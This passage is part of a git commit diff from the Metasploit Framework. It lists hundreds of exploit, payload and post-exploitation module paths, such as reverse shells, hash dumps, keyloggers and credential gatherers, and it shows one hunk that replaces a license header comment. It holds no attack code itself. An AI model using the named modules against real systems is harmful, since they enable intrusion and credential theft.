.../exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb | 6 ++---- modules/exploits/windows/smtp/njstar_smtp_bof.rb | 6 ++---- modules/exploits/windows/smtp/wmailserver.rb | 6 ++---- modules/exploits/windows/smtp/ypops_overflow1.rb | 6 ++---- modules/exploits/windows/ssh/freeftpd_key_exchange.rb | 6 ++---- modules/exploits/windows/ssh/freesshd_authbypass.rb | 5 ++--- modules/exploits/windows/ssh/freesshd_key_exchange.rb | 6 ++---- modules/exploits/windows/ssh/putty_msg_debug.rb | 6 ++---- modules/exploits/windows/ssh/securecrt_ssh1.rb | 6 ++---- modules/exploits/windows/ssh/sysax_ssh_username.rb | 5 ++--- modules/exploits/windows/ssl/ms04_011_pct.rb | 6 ++---- modules/exploits/windows/telnet/gamsoft_telsrv_username.rb | 6 ++---- modules/exploits/windows/telnet/goodtech_telnet.rb | 6 ++---- modules/exploits/windows/tftp/attftp_long_filename.rb | 6 ++---- modules/exploits/windows/tftp/distinct_tftp_traversal.rb | 5 ++--- modules/exploits/windows/tftp/dlink_long_filename.rb | 6 ++---- modules/exploits/windows/tftp/futuresoft_transfermode.rb | 6 ++---- modules/exploits/windows/tftp/netdecision_tftp_traversal.rb | 5 ++--- modules/exploits/windows/tftp/opentftp_error_code.rb | 6 ++---- modules/exploits/windows/tftp/quick_tftp_pro_mode.rb | 6 ++---- modules/exploits/windows/tftp/tftpd32_long_filename.rb | 6 ++---- modules/exploits/windows/tftp/tftpdwin_long_filename.rb | 6 ++---- modules/exploits/windows/tftp/tftpserver_wrq_bof.rb | 5 ++--- modules/exploits/windows/tftp/threectftpsvc_long_mode.rb | 6 ++---- modules/exploits/windows/unicenter/cam_log_security.rb | 6 ++---- modules/exploits/windows/vnc/realvnc_client.rb | 6 ++---- modules/exploits/windows/vnc/ultravnc_client.rb | 6 ++---- modules/exploits/windows/vnc/ultravnc_viewer_bof.rb | 6 ++---- modules/exploits/windows/vnc/winvnc_http_get.rb | 6 ++---- modules/exploits/windows/vpn/safenet_ike_11.rb | 6 ++---- modules/exploits/windows/winrm/winrm_script_exec.rb | 6 ++---- modules/exploits/windows/wins/ms04_045_wins.rb | 6 ++---- modules/nops/armle/simple.rb | 6 ++---- modules/nops/php/generic.rb | 6 ++---- modules/nops/ppc/simple.rb | 6 ++---- modules/nops/sparc/random.rb | 6 ++---- modules/nops/tty/generic.rb | 6 ++---- modules/nops/x64/simple.rb | 6 ++---- modules/nops/x86/opty2.rb | 6 ++---- modules/nops/x86/single_byte.rb | 6 ++---- modules/payloads/singles/aix/ppc/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/aix/ppc/shell_find_port.rb | 6 ++---- modules/payloads/singles/aix/ppc/shell_interact.rb | 6 ++---- modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/bsd/x86/exec.rb | 6 ++---- modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb | 6 ++---- modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb | 6 ++---- modules/payloads/singles/bsd/x86/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb | 6 ++---- modules/payloads/singles/bsd/x86/shell_find_port.rb | 6 ++---- modules/payloads/singles/bsd/x86/shell_find_tag.rb | 6 ++---- modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb | 6 ++---- modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/bsdi/x86/shell_find_port.rb | 6 ++---- modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/cmd/unix/bind_awk.rb | 6 ++---- modules/payloads/singles/cmd/unix/bind_inetd.rb | 6 ++---- modules/payloads/singles/cmd/unix/bind_netcat.rb | 6 ++---- modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb | 6 ++---- .../payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb | 6 ++---- modules/payloads/singles/cmd/unix/bind_nodejs.rb | 6 ++---- modules/payloads/singles/cmd/unix/bind_perl.rb | 6 ++---- modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb | 6 ++---- modules/payloads/singles/cmd/unix/bind_ruby.rb | 6 ++---- modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb | 6 ++---- modules/payloads/singles/cmd/unix/bind_zsh.rb | 6 ++---- modules/payloads/singles/cmd/unix/generic.rb | 6 ++---- modules/payloads/singles/cmd/unix/interact.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_awk.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_bash.rb | 6 ++---- .../payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_netcat.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_nodejs.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_openssl.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_perl.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_php_ssl.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_python.rb | 5 ++--- modules/payloads/singles/cmd/unix/reverse_python_ssl.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_ruby.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb | 6 ++---- .../payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_zsh.rb | 6 ++---- modules/payloads/singles/cmd/windows/adduser.rb | 6 ++---- modules/payloads/singles/cmd/windows/bind_perl.rb | 6 ++---- modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb | 6 ++---- modules/payloads/singles/cmd/windows/bind_ruby.rb | 6 ++---- modules/payloads/singles/cmd/windows/download_eval_vbs.rb | 6 ++---- modules/payloads/singles/cmd/windows/download_exec_vbs.rb | 6 ++---- modules/payloads/singles/cmd/windows/reverse_perl.rb | 6 ++---- modules/payloads/singles/cmd/windows/reverse_ruby.rb | 6 ++---- modules/payloads/singles/generic/custom.rb | 6 ++---- modules/payloads/singles/generic/debug_trap.rb | 6 ++---- modules/payloads/singles/generic/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/generic/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/generic/tight_loop.rb | 6 ++---- modules/payloads/singles/java/jsp_shell_bind_tcp.rb | 2 -- modules/payloads/singles/java/jsp_shell_reverse_tcp.rb | 2 -- modules/payloads/singles/java/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/linux/armle/adduser.rb | 6 ++---- modules/payloads/singles/linux/armle/exec.rb | 6 ++---- modules/payloads/singles/linux/armle/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/linux/armle/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/linux/ppc/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/linux/ppc/shell_find_port.rb | 6 ++---- modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/linux/ppc64/shell_find_port.rb | 6 ++---- modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/linux/x64/exec.rb | 6 ++---- modules/payloads/singles/linux/x64/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/linux/x64/shell_find_port.rb | 6 ++---- modules/payloads/singles/linux/x64/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/linux/x86/adduser.rb | 6 ++---- modules/payloads/singles/linux/x86/chmod.rb | 6 ++---- modules/payloads/singles/linux/x86/exec.rb | 6 ++---- modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb | 6 ++---- modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb | 6 ++---- modules/payloads/singles/linux/x86/read_file.rb | 5 ++--- modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb | 6 ++---- modules/payloads/singles/linux/x86/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/linux/x86/shell_find_port.rb | 6 ++---- modules/payloads/singles/linux/x86/shell_find_tag.rb | 6 ++---- modules/payloads/singles/linux/x86/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb | 6 ++---- modules/payloads/singles/nodejs/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/nodejs/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb | 6 ++---- modules/payloads/singles/osx/armle/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/osx/armle/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/osx/armle/vibrate.rb | 6 ++---- modules/payloads/singles/osx/ppc/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/osx/x64/exec.rb | 6 ++---- modules/payloads/singles/osx/x64/say.rb | 6 ++---- modules/payloads/singles/osx/x64/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/osx/x64/shell_find_tag.rb | 6 ++---- modules/payloads/singles/osx/x64/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/osx/x86/exec.rb | 6 ++---- modules/payloads/singles/osx/x86/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/osx/x86/shell_find_port.rb | 6 ++---- modules/payloads/singles/osx/x86/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb | 6 ++---- modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/php/bind_perl.rb | 6 ++---- modules/payloads/singles/php/bind_perl_ipv6.rb | 6 ++---- modules/payloads/singles/php/bind_php.rb | 6 ++---- modules/payloads/singles/php/bind_php_ipv6.rb | 6 ++---- modules/payloads/singles/php/download_exec.rb | 6 ++---- modules/payloads/singles/php/exec.rb | 6 ++---- modules/payloads/singles/php/meterpreter_reverse_tcp.rb | 6 ++---- modules/payloads/singles/php/reverse_perl.rb | 6 ++---- modules/payloads/singles/php/reverse_php.rb | 6 ++---- modules/payloads/singles/php/shell_findsock.rb | 6 ++---- modules/payloads/singles/python/shell_reverse_tcp_ssl.rb | 6 ++---- modules/payloads/singles/ruby/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb | 6 ++---- modules/payloads/singles/ruby/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb | 6 ++---- modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/solaris/sparc/shell_find_port.rb | 6 ++---- modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/solaris/x86/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/solaris/x86/shell_find_port.rb | 6 ++---- modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/tty/unix/interact.rb | 6 ++---- modules/payloads/singles/windows/adduser.rb | 6 ++---- modules/payloads/singles/windows/dns_txt_query_exec.rb | 5 ++--- modules/payloads/singles/windows/download_exec.rb | 6 ++---- modules/payloads/singles/windows/exec.rb | 6 ++---- modules/payloads/singles/windows/loadlibrary.rb | 6 ++---- modules/payloads/singles/windows/messagebox.rb | 6 ++---- modules/payloads/singles/windows/metsvc_bind_tcp.rb | 6 ++---- modules/payloads/singles/windows/metsvc_reverse_tcp.rb | 6 ++---- modules/payloads/singles/windows/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb | 6 ++---- modules/payloads/singles/windows/shell_reverse_tcp.rb | 6 ++---- modules/payloads/singles/windows/speak_pwned.rb | 6 ++---- modules/payloads/singles/windows/x64/exec.rb | 6 ++---- modules/payloads/singles/windows/x64/loadlibrary.rb | 6 ++---- modules/payloads/singles/windows/x64/shell_bind_tcp.rb | 6 ++---- modules/payloads/singles/windows/x64/shell_reverse_tcp.rb | 6 ++---- modules/payloads/stagers/android/reverse_tcp.rb | 5 ++--- modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb | 6 ++---- modules/payloads/stagers/bsd/x86/bind_tcp.rb | 6 ++---- modules/payloads/stagers/bsd/x86/find_tag.rb | 6 ++---- modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb | 6 ++---- modules/payloads/stagers/bsd/x86/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/bsdi/x86/bind_tcp.rb | 6 ++---- modules/payloads/stagers/bsdi/x86/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/java/bind_tcp.rb | 6 ++---- modules/payloads/stagers/java/reverse_http.rb | 6 ++---- modules/payloads/stagers/java/reverse_https.rb | 6 ++---- modules/payloads/stagers/java/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/linux/armle/bind_tcp.rb | 6 ++---- modules/payloads/stagers/linux/armle/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/linux/x64/bind_tcp.rb | 6 ++---- modules/payloads/stagers/linux/x64/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb | 6 ++---- modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb | 6 ++---- modules/payloads/stagers/linux/x86/bind_tcp.rb | 6 ++---- modules/payloads/stagers/linux/x86/find_tag.rb | 6 ++---- modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb | 6 ++---- modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb | 6 ++---- modules/payloads/stagers/linux/x86/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/netware/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/osx/armle/bind_tcp.rb | 6 ++---- modules/payloads/stagers/osx/armle/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/osx/ppc/bind_tcp.rb | 6 ++---- modules/payloads/stagers/osx/ppc/find_tag.rb | 6 ++---- modules/payloads/stagers/osx/ppc/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/osx/x64/bind_tcp.rb | 6 ++---- modules/payloads/stagers/osx/x64/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/osx/x86/bind_tcp.rb | 6 ++---- modules/payloads/stagers/osx/x86/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/php/bind_tcp.rb | 6 ++---- modules/payloads/stagers/php/bind_tcp_ipv6.rb | 6 ++---- modules/payloads/stagers/php/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/python/bind_tcp.rb | 6 ++---- modules/payloads/stagers/python/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/windows/bind_ipv6_tcp.rb | 6 ++---- modules/payloads/stagers/windows/bind_nonx_tcp.rb | 6 ++---- modules/payloads/stagers/windows/bind_tcp.rb | 6 ++---- modules/payloads/stagers/windows/bind_tcp_rc4.rb | 6 ++---- modules/payloads/stagers/windows/findtag_ord.rb | 6 ++---- modules/payloads/stagers/windows/reverse_http.rb | 6 ++---- modules/payloads/stagers/windows/reverse_https.rb | 6 ++---- modules/payloads/stagers/windows/reverse_https_proxy.rb | 6 ++---- modules/payloads/stagers/windows/reverse_ipv6_http.rb | 6 ++---- modules/payloads/stagers/windows/reverse_ipv6_https.rb | 6 ++---- modules/payloads/stagers/windows/reverse_ipv6_tcp.rb | 6 ++---- modules/payloads/stagers/windows/reverse_nonx_tcp.rb | 6 ++---- modules/payloads/stagers/windows/reverse_ord_tcp.rb | 6 ++---- modules/payloads/stagers/windows/reverse_tcp.rb | 6 ++---- modules/payloads/stagers/windows/reverse_tcp_allports.rb | 6 ++---- modules/payloads/stagers/windows/reverse_tcp_dns.rb | 6 ++---- modules/payloads/stagers/windows/reverse_tcp_rc4.rb | 6 ++---- modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb | 6 ++---- modules/payloads/stagers/windows/x64/bind_tcp.rb | 6 ++---- modules/payloads/stagers/windows/x64/reverse_https.rb | 6 ++---- modules/payloads/stagers/windows/x64/reverse_tcp.rb | 6 ++---- modules/payloads/stages/android/meterpreter.rb | 5 ++--- modules/payloads/stages/android/shell.rb | 5 ++--- modules/payloads/stages/bsd/x86/shell.rb | 6 ++---- modules/payloads/stages/bsdi/x86/shell.rb | 6 ++---- modules/payloads/stages/java/meterpreter.rb | 6 ++---- modules/payloads/stages/java/shell.rb | 6 ++---- modules/payloads/stages/linux/armle/shell.rb | 6 ++---- modules/payloads/stages/linux/x64/shell.rb | 6 ++---- modules/payloads/stages/linux/x86/meterpreter.rb | 6 ++---- modules/payloads/stages/linux/x86/shell.rb | 6 ++---- modules/payloads/stages/netware/shell.rb | 6 ++---- modules/payloads/stages/osx/armle/execute.rb | 6 ++---- modules/payloads/stages/osx/armle/shell.rb | 6 ++---- modules/payloads/stages/osx/ppc/shell.rb | 6 ++---- modules/payloads/stages/osx/x64/dupandexecve.rb | 6 ++---- modules/payloads/stages/osx/x86/bundleinject.rb | 6 ++---- modules/payloads/stages/osx/x86/isight.rb | 6 ++---- modules/payloads/stages/osx/x86/vforkshell.rb | 6 ++---- modules/payloads/stages/php/meterpreter.rb | 6 ++---- modules/payloads/stages/python/meterpreter.rb | 6 ++---- modules/payloads/stages/windows/dllinject.rb | 6 ++---- modules/payloads/stages/windows/meterpreter.rb | 6 ++---- modules/payloads/stages/windows/patchupdllinject.rb | 6 ++---- modules/payloads/stages/windows/patchupmeterpreter.rb | 6 ++---- modules/payloads/stages/windows/shell.rb | 6 ++---- modules/payloads/stages/windows/upexec.rb | 6 ++---- modules/payloads/stages/windows/vncinject.rb | 6 ++---- modules/payloads/stages/windows/x64/meterpreter.rb | 6 ++---- modules/payloads/stages/windows/x64/shell.rb | 6 ++---- modules/payloads/stages/windows/x64/vncinject.rb | 6 ++---- modules/post/aix/hashdump.rb | 4 +--- modules/post/cisco/gather/enum_cisco.rb | 6 ++---- modules/post/linux/gather/checkvm.rb | 4 +--- modules/post/linux/gather/ecryptfs_creds.rb | 6 ++---- modules/post/linux/gather/enum_configs.rb | 5 ++--- modules/post/linux/gather/enum_network.rb | 4 +--- modules/post/linux/gather/enum_protections.rb | 5 ++--- modules/post/linux/gather/enum_system.rb | 5 ++--- modules/post/linux/gather/enum_users_history.rb | 4 +--- modules/post/linux/gather/enum_xchat.rb | 6 ++---- modules/post/linux/gather/hashdump.rb | 4 +--- modules/post/linux/gather/mount_cifs_creds.rb | 6 ++---- modules/post/linux/gather/pptpd_chap_secrets.rb | 6 ++---- modules/post/linux/manage/download_exec.rb | 5 ++--- modules/post/multi/escalate/cups_root_file_read.rb | 6 ++---- modules/post/multi/escalate/metasploit_pcaplog.rb | 6 ++---- modules/post/multi/gather/apple_ios_backup.rb | 6 ++---- modules/post/multi/gather/dns_bruteforce.rb | 4 +--- modules/post/multi/gather/dns_reverse_lookup.rb | 4 +--- modules/post/multi/gather/dns_srv_lookup.rb | 4 +--- modules/post/multi/gather/enum_vbox.rb | 6 ++---- modules/post/multi/gather/env.rb | 6 ++---- modules/post/multi/gather/fetchmailrc_creds.rb | 6 ++---- modules/post/multi/gather/filezilla_client_cred.rb | 6 ++---- modules/post/multi/gather/find_vmx.rb | 6 ++---- modules/post/multi/gather/firefox_creds.rb | 6 ++---- modules/post/multi/gather/gpg_creds.rb | 6 ++---- modules/post/multi/gather/multi_command.rb | 4 +--- modules/post/multi/gather/netrc_creds.rb | 6 ++---- modules/post/multi/gather/pgpass_creds.rb | 5 ++--- modules/post/multi/gather/pidgin_cred.rb | 6 ++---- modules/post/multi/gather/ping_sweep.rb | 4 +--- modules/post/multi/gather/resolve_hosts.rb | 6 ++---- modules/post/multi/gather/run_console_rc_file.rb | 4 +--- modules/post/multi/gather/skype_enum.rb | 3 +-- modules/post/multi/gather/ssh_creds.rb | 6 ++---- modules/post/multi/gather/thunderbird_creds.rb | 6 ++---- modules/post/multi/general/close.rb | 6 ++---- modules/post/multi/general/execute.rb | 6 ++---- modules/post/multi/manage/multi_post.rb | 4 +--- modules/post/multi/manage/record_mic.rb | 6 ++---- modules/post/multi/manage/sudo.rb | 4 +--- modules/post/multi/manage/system_session.rb | 4 +--- modules/post/osx/admin/say.rb | 6 ++---- modules/post/osx/capture/keylog_recorder.rb | 6 ++---- modules/post/osx/gather/enum_adium.rb | 5 ++--- modules/post/osx/gather/enum_airport.rb | 5 ++--- modules/post/osx/gather/enum_chicken_vnc_profile.rb | 5 ++--- modules/post/osx/gather/enum_colloquy.rb | 5 ++--- modules/post/osx/gather/enum_keychain.rb | 5 ++--- modules/post/osx/gather/enum_osx.rb | 4 +--- modules/post/osx/gather/hashdump.rb | 4 +--- modules/post/osx/gather/password_prompt_spoof.rb | 5 ++--- modules/post/osx/manage/record_mic.rb | 6 ++---- modules/post/osx/manage/webcam.rb | 6 ++---- modules/post/solaris/gather/checkvm.rb | 4 +--- modules/post/solaris/gather/enum_packages.rb | 4 +--- modules/post/solaris/gather/enum_services.rb | 4 +--- modules/post/solaris/gather/hashdump.rb | 4 +--- modules/post/windows/capture/keylog_recorder.rb | 4 +--- modules/post/windows/capture/lockout_keylogger.rb | 6 ++---- modules/post/windows/escalate/droplnk.rb | 6 ++---- modules/post/windows/escalate/getsystem.rb | 6 ++---- modules/post/windows/escalate/ms10_073_kbdlayout.rb | 6 ++---- modules/post/windows/escalate/net_runtime_modify.rb | 6 ++---- modules/post/windows/escalate/screen_unlock.rb | 6 ++---- modules/post/windows/gather/arp_scanner.rb | 4 +--- modules/post/windows/gather/bitcoin_jacker.rb | 6 ++---- modules/post/windows/gather/cachedump.rb | 6 ++---- modules/post/windows/gather/checkvm.rb | 6 ++---- modules/post/windows/gather/credentials/bulletproof_ftp.rb | 6 ++---- modules/post/windows/gather/credentials/coreftp.rb | 6 ++---- .../post/windows/gather/credentials/credential_collector.rb | 4 +--- modules/post/windows/gather/credentials/dyndns.rb | 6 ++---- modules/post/windows/gather/credentials/enum_cred_store.rb | 6 ++---- modules/post/windows/gather/credentials/enum_picasa_pwds.rb | 6 ++---- modules/post/windows/gather/credentials/epo_sql.rb | 6 ++---- modules/post/windows/gather/credentials/filezilla_server.rb | 6 ++---- modules/post/windows/gather/credentials/flashfxp.rb | 6 ++---- modules/post/windows/gather/credentials/ftpnavigator.rb | 6 ++---- modules/post/windows/gather/credentials/ftpx.rb | 6 ++---- modules/post/windows/gather/credentials/gpp.rb | 6 ++---- modules/post/windows/gather/credentials/idm.rb | 6 ++---- modules/post/windows/gather/credentials/imail.rb | 6 ++---- modules/post/windows/gather/credentials/imvu.rb | 6 ++---- modules/post/windows/gather/credentials/meebo.rb | 6 ++---- modules/post/windows/gather/credentials/mremote.rb | 6 ++---- modules/post/windows/gather/credentials/nimbuzz.rb | 6 ++---- modules/post/windows/gather/credentials/outlook.rb | 6 ++---- modules/post/windows/gather/credentials/razer_synapse.rb | 6 ++---- modules/post/windows/gather/credentials/razorsql.rb | 6 ++---- modules/post/windows/gather/credentials/smartftp.rb | 6 ++---- modules/post/windows/gather/credentials/spark_im.rb | 6 ++---- modules/post/windows/gather/credentials/steam.rb | 6 ++---- modules/post/windows/gather/credentials/tortoisesvn.rb | 6 ++---- modules/post/windows/gather/credentials/total_commander.rb | 6 ++---- modules/post/windows/gather/credentials/trillian.rb | 6 ++---- modules/post/windows/gather/credentials/vnc.rb | 6 ++---- .../post/windows/gather/credentials/windows_autologin.rb | 6 ++---- modules/post/windows/gather/credentials/winscp.rb | 6 ++---- modules/post/windows/gather/credentials/wsftp_client.rb | 6 ++---- modules/post/windows/gather/dnscache_dump.rb | 4 ++-- modules/post/windows/gather/dumplinks.rb | 4 +--- modules/post/windows/gather/enum_ad_computers.rb | 4 +--- modules/post/windows/gather/enum_applications.rb | 6 ++---- modules/post/windows/gather/enum_artifacts.rb | 6 ++---- modules/post/windows/gather/enum_chrome.rb | 6 ++---- modules/post/windows/gather/enum_computers.rb | 4 +--- modules/post/windows/gather/enum_db.rb | 4 +--- modules/post/windows/gather/enum_devices.rb | 6 ++---- modules/post/windows/gather/enum_dirperms.rb | 6 ++---- modules/post/windows/gather/enum_domain.rb | 6 ++---- modules/post/windows/gather/enum_domain_group_users.rb | 4 +--- modules/post/windows/gather/enum_domain_tokens.rb | 4 +--- modules/post/windows/gather/enum_domains.rb | 6 ++---- modules/post/windows/gather/enum_files.rb | 5 ++--- modules/post/windows/gather/enum_hostfile.rb | 6 ++---- modules/post/windows/gather/enum_ie.rb | 6 ++---- modules/post/windows/gather/enum_logged_on_users.rb | 6 ++---- modules/post/windows/gather/enum_ms_product_keys.rb | 6 ++---- modules/post/windows/gather/enum_powershell_env.rb | 6 ++---- modules/post/windows/gather/enum_prefetch.rb | 6 ++---- modules/post/windows/gather/enum_proxy.rb | 6 ++---- modules/post/windows/gather/enum_services.rb | 6 ++---- modules/post/windows/gather/enum_shares.rb | 6 ++---- modules/post/windows/gather/enum_snmp.rb | 4 +--- modules/post/windows/gather/enum_termserv.rb | 6 ++---- modules/post/windows/gather/enum_tokens.rb | 6 ++---- modules/post/windows/gather/enum_tomcat.rb | 4 +--- modules/post/windows/gather/enum_unattend.rb | 6 ++---- modules/post/windows/gather/forensics/duqu_check.rb | 4 +--- modules/post/windows/gather/forensics/enum_drives.rb | 6 ++---- modules/post/windows/gather/forensics/imager.rb | 6 ++---- modules/post/windows/gather/forensics/nbd_server.rb | 6 ++---- modules/post/windows/gather/forensics/recovery_files.rb | 4 ++-- modules/post/windows/gather/hashdump.rb | 6 ++---- modules/post/windows/gather/local_admin_search_enum.rb | 5 ++--- modules/post/windows/gather/memory_grep.rb | 6 ++---- modules/post/windows/gather/netlm_downgrade.rb | 6 ++---- modules/post/windows/gather/resolve_hosts.rb | 6 ++---- modules/post/windows/gather/resolve_sid.rb | 6 ++---- modules/post/windows/gather/reverse_lookup.rb | 6 ++---- modules/post/windows/gather/screen_spy.rb | 6 ++---- modules/post/windows/gather/smart_hashdump.rb | 4 +--- modules/post/windows/gather/tcpnetstat.rb | 4 +--- modules/post/windows/gather/usb_history.rb | 4 +--- modules/post/windows/gather/win_privs.rb | 6 ++---- modules/post/windows/gather/wmic_command.rb | 4 +--- modules/post/windows/gather/word_unc_injector.rb | 4 ++-- modules/post/windows/manage/add_user_domain.rb | 4 +--- modules/post/windows/manage/autoroute.rb | 4 +--- modules/post/windows/manage/clone_proxy_settings.rb | 6 ++---- modules/post/windows/manage/delete_user.rb | 6 ++---- modules/post/windows/manage/download_exec.rb | 6 ++---- modules/post/windows/manage/enable_rdp.rb | 6 ++---- modules/post/windows/manage/inject_ca.rb | 6 ++---- modules/post/windows/manage/inject_host.rb | 6 ++---- modules/post/windows/manage/migrate.rb | 4 +--- modules/post/windows/manage/mssql_local_auth_bypass.rb | 6 ++---- modules/post/windows/manage/multi_meterpreter_inject.rb | 4 +--- modules/post/windows/manage/nbd_server.rb | 6 ++---- modules/post/windows/manage/payload_inject.rb | 4 +--- modules/post/windows/manage/persistence.rb | 4 +--- modules/post/windows/manage/portproxy.rb | 5 ++--- modules/post/windows/manage/powershell/exec_powershell.rb | 5 ++--- modules/post/windows/manage/pptp_tunnel.rb | 4 ++-- modules/post/windows/manage/pxexploit.rb | 6 ++---- modules/post/windows/manage/reflective_dll_inject.rb | 4 +--- modules/post/windows/manage/remove_ca.rb | 6 ++---- modules/post/windows/manage/remove_host.rb | 6 ++---- modules/post/windows/manage/rpcapd_start.rb | 5 ++--- modules/post/windows/manage/run_as.rb | 6 ++---- modules/post/windows/manage/sdel.rb | 5 ++--- modules/post/windows/manage/smart_migrate.rb | 4 +--- modules/post/windows/manage/vss_create.rb | 6 ++---- modules/post/windows/manage/vss_list.rb | 6 ++---- modules/post/windows/manage/vss_mount.rb | 6 ++---- modules/post/windows/manage/vss_set_storage.rb | 6 ++---- modules/post/windows/manage/vss_storage.rb | 6 ++---- modules/post/windows/manage/webcam.rb | 6 ++---- modules/post/windows/recon/computer_browser_discovery.rb | 6 ++---- modules/post/windows/recon/resolve_hostname.rb | 6 ++---- modules/post/windows/recon/resolve_ip.rb | 6 ++---- modules/post/windows/wlan/wlan_bss_list.rb | 6 ++---- modules/post/windows/wlan/wlan_current_connection.rb | 6 ++---- modules/post/windows/wlan/wlan_disconnect.rb | 6 ++---- modules/post/windows/wlan/wlan_profile.rb | 6 ++---- 2316 files changed, 4576 insertions(+), 8913 deletions(-) diff --git a/modules/auxiliary/admin/2wire/xslt_password_reset.rb b/modules/auxiliary/admin/2wire/xslt_password_reset.rb index afff9f47e0..2d37d2d45c 100644 --- a/modules/auxiliary/admin/2wire/xslt_password_reset.rb +++ b/modules/auxiliary/admin/2wire/xslt_password_reset.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git 